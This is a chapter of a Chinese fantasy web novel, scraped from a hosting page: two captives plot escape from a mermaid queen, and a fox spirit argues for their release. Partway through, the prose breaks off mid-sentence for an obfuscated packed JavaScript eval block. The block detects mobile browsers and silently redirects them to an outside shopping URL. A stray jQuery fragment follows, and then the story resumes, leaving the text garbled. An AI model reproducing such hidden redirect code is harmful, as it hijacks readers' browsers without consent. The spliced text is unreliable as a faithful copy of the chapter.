文趣网 > 其他小说 > 穿成反派神明后被全世界追杀 > 52. 亡者渡口(十)
    “我错了。”

    狮六靠在墙上摆了半天姿势,突然没头没脑地来了这么一句话,见对面的女孩没有搭理他的意思,尴尬地挠了挠头,正准备说点什么打破这恼人的沉默,对面出声了。

    “错在刚刚沉渊讲故事博同情的时候没有站在我这一边。”江浸月淡淡开口。

    “哇,这你都知道!”狮六笑得没心没肺,看上去因为被关起来产生的阴霾已经被抛诸脑后。

    江浸月叹了口气,她没有怪狮六的意思,毕竟传说人鱼有蛊惑人心的能力。

    她自己也是,跟对方对视的时候会有些晕晕乎乎的。

    江浸月环顾了一下四周,这个房间像个巨大的玻璃罩子,里面空空荡荡,只有正中央上方悬着一颗散发着柔柔光芒的夜明珠。

    墙面不知道是什么材质,总之用拳头砸,用匕首划都没留下丝毫痕迹,门和墙面融为一体,根本找不到在哪里。

    房间的上面依旧盘旋着几只虎视眈眈的鲛人,不知道是不是奉沉渊的命令来看住他们,其实是多此一举,因为他们就算出去也不知道往哪边跑。

    被困住了。

    被莫名其妙困住了。

    江浸月站起来,又试图去墙上摸那扇好似不存在的门,找了半天,连条缝都没有,余光瞥到狮六乌青的眼角,突然觉得他也挺惨的。

    “明知道打不过她,为什么还要上?”

    沉渊的态度摆明了不会放他们走,江浸月其实已经有了心理准备,但是很显然狮六没有,他一个拳头挥过去,被沉渊不动声色地躲开。

    很丝滑,很流畅,像是在水里一样。

    江浸月没怎么看清对方怎么出手的,只知道狮六下一秒已经捂着眼睛跌跌撞撞往后退了。人鱼王凶性毕露,整个大殿似有震感,水墙之外聚集了更多的鲛人,伺机而动。

    但沉渊放过了狮六,旋即恢复成先前那个懒洋洋的样子。

    “……不上怎么知道打不过她?”狮六揉着眼窝,声音听起来有些沮丧,注意到身边的女孩在看自己,他立即放下手装出一副“嗨呀这点伤算什么爷就是让着她”的心虚模样。

    “有什么办法能让我们脱身吗?”他被看得不自在,眼神飘忽到别的地方,专心致志研究正上方一条鲛人的生理构造。

    “有。”

    正当他看得起劲的时候,旁边的女孩说话了。

    “真的?!”狮六立刻把视线转回来,看见江浸月正一脸探究地盯着他。

    她非常认真地说,“我发现你长相真的很不错,要不要去色诱一下人鱼王?”

    狮六愣了三秒,猛地立正,然后立刻炸毛。

    “你说什么?!”他瞪大眼睛,满脸不可置信中夹杂着三分愤怒三分伤心三分屈辱,“你让我去泡那条鱼??”

    江浸月一本正经说道:“事急从权,你要真成功了,就算我欠你和狂眼的,但你放心,这件事我不会说出去的。”

    狮六的脸上就像是打翻了调色盘,面色由白变青再变红,霎时间精彩纷呈,他的嘴唇哆嗦了两下,本来有些凶悍的长相此刻竟然有些委屈巴巴。

    本以为他会非常愤怒地拒绝,没想到他沉默了半天竟然从牙齿缝里挤出一个“好”字。

    说着就一脸视死如归地往地上一坐,“……等她来了,我试试。”

    “怎么试?”江浸月蹲在他面前,看着他一脸灰败,实在想象不出此人怎么色诱沉渊。

    感觉他只要一开口,就会被沉渊一尾巴拍飞。

    “你!”狮六猛地抬头,对上女孩笑吟吟的眼睛又立刻错开,他的心情像一滩烂泥一样沉重,说出的话也有气无力,“你别管了,我会帮你出去的。”

    他闭上眼睛,想象自己有可能的下场,可能会被沉渊直接开膛破肚,也可能被她丢给鲛人开膛破肚,总之只有一个下场:开膛破肚。

    作为一只纯种的陆上生物,他从来没有靠近过水域,实在是人鱼在这片大陆的名声不太好,她们从不多管闲事,但是每一条都非常之凶悍,任何不慎跌入水域的兽人都不可能活着出来,在水下,她们是当之无愧的顶级掠食者。

    更何况,狮六之前也隐约听说过沉渊是如何屠杀自己的父兄叔伯的,这个故事血腥惊悚,不需要加以润色就足够让人胆寒。

    狮六不可自抑地哆嗦了一下,发觉对面很久都没回应他的话。

    这是默许了?

    又过了一会儿,狮六看见女孩坐在了自己身边,她低低笑了一声,同样挫败。

    “跟你开玩笑的,我还没沦落到需要你牺牲色相的地步。”

    狮六看见她落寞的眼睛盯着虚空中的某个点,一股浓烈的悲伤自她身上传来,他宁愿她继续刚刚那个不着调的话题,就算真的去泡那条鱼也比看着她难过而自己无能为力好受得多。

    “对不起,没能阻止他们杀了……梵泽。”他的声音很轻,轻到几乎自己都听不见。

    “不关你的事。”江浸月的声音更轻,“你没有错,错在杀了他的人。”

    “出去以后不管能不能找到他,我们还是要继续向前走,直到找到所有的答案,梵泽不会就这样白白牺牲的,我不会让他这么不明不白的死掉的。现在你是我唯一信得过的人,不要再说什么对得起对不起的话了,我们是一根绳子上的蚂蚱,一损俱损。”

    “蚂蚱?”

    “一种虫子……这是重点吗?重点是我们在一根绳子上。”

    “嗯。”狮六有些不好意思,随即重重点头,过了一会儿,他又说,“说真的,我可以去色诱一下沉渊的!”

    他一脸视死如归,江浸月没忍住笑出声来。

    ——

    狐婴盯着手里的东西,它已经不发光了,就像一个普通的不能再普通的石头。

    从江浸月手里接过的时候,她第一次看到这块石头的完整样子,说实话,她是有些失望的,号称能聚魂的逆生石,形状应该更奇怪一点吧。

    “……跟你说话呢,听见没有?”

    沉渊的声音自身边传来,狐婴抬头,看见对方正一脸幽怨地看着自己。

    此人漂亮的脸上很少出现这么生动的表情,狐婴以前怀疑过是不是因为脸在水里常年泡着泡

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546877|202415||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    僵了,但是沉渊刚刚面对另一个人,脸上同时出现了戾气、杀气、不甘和偏执几种情绪,等把人不由分说地拘起来,她的表情又突然变得有些可怜巴巴。

    “说真的,你是不是认错人了,她明显不认识你,何必这么为难人家呢。”

    狐婴的回应很冷淡,她心里还有别的事情要烦。

    沉渊倏地一下子挺直了背,“狐狸,你什么意思?”

    “我的意思是,”狐婴的目光终于从石头上挪开,她掀起眼皮看向对方,“不管你们之间有过什么恩怨,她都不记得了,更何况她骤然失去了两个朋友,现在很伤心,你如果真的在乎她,让她走吧。”

    沉渊刚刚还十分警戒的眼神突然变得有些悲伤。

    “我也是她的朋友,最好的朋友。如果不是她,我走不到今天,很久之前就被鲛人撕碎了。”

    “这么说她对你有恩,你不是更应该遵循她的意愿吗,还是说你要把她留在水域,即便她永远想不起来?”

    沉渊无力地靠在柱子上,看上去有些破碎。

    “她要去送死,你不知道吗?为了龙。”

    “你能不能帮我这一次,让她忘了上面的事情,只要你能说服她,整个水域的夜明珠随你搬,就算你要人鱼王的位子,我也给。”

    “她对你这么重要?”狐婴歪头看向对方,很难想象沉渊会为了一个人类说出把王位拱手相让的话,当初沉渊为了这个位子屠戮了多少同族,整个瑟兰古都闻风丧胆。

    “我一只陆地上的狐狸要人鱼的王座干什么?不是我不想帮,是我帮不了你,我跟她之间无非就是交易关系,再往前倒一下也不过是债主和债务人的关系,她偷过我的斗篷……但好像也不记得了。”

    沉渊的睫毛像蝴蝶翅膀一样轻轻颤动,“伊澜不是她。”顿了顿,她又说,“你也说过的,为了你的石头,她的身体差点被鬼镜的爪子贯穿,我不信你们之间只是交易关系,她对你,也不仅仅是一个无关紧要的人类。”

    狐婴沉默了。

    她也觉得奇怪,但不愿意细想,为什么一个之前恶名昭彰的神女会真的舍出命去跟自己做交易,为什么明明可以把狼灵之心交给她就可以换取斗篷但对方一口回绝,为什么龙会死心塌地跟着这个曾经说服神血洗龙族的人类。

    江浸月身上的熟悉感,不是来自伊澜。

    沉渊的声音有一丝不易察觉的颤抖,“狐婴,如果你记得三百年之前发生过什么,一定会站在我这边的。”

    狐婴的心跳几乎停滞。

    她不合时宜地想起那个问题,从昏暗潮湿泛着浓重血腥味儿的土楼地下出来后,江浸月问出的第一个问题。

    你的名字,是谁取的?

    我的名字,是谁取的?

    手心里的逆生石仿佛在发烫,把她的皮肤几乎灼伤,她看向大殿尽头走廊的房间,心想我会知道答案的。

    我会找到这个问题的来处的。

    狐婴猛地站起来,她开口,声音掷地有声:

    “给我两天时间,我去找到那个说服自己站在你这边的理由。”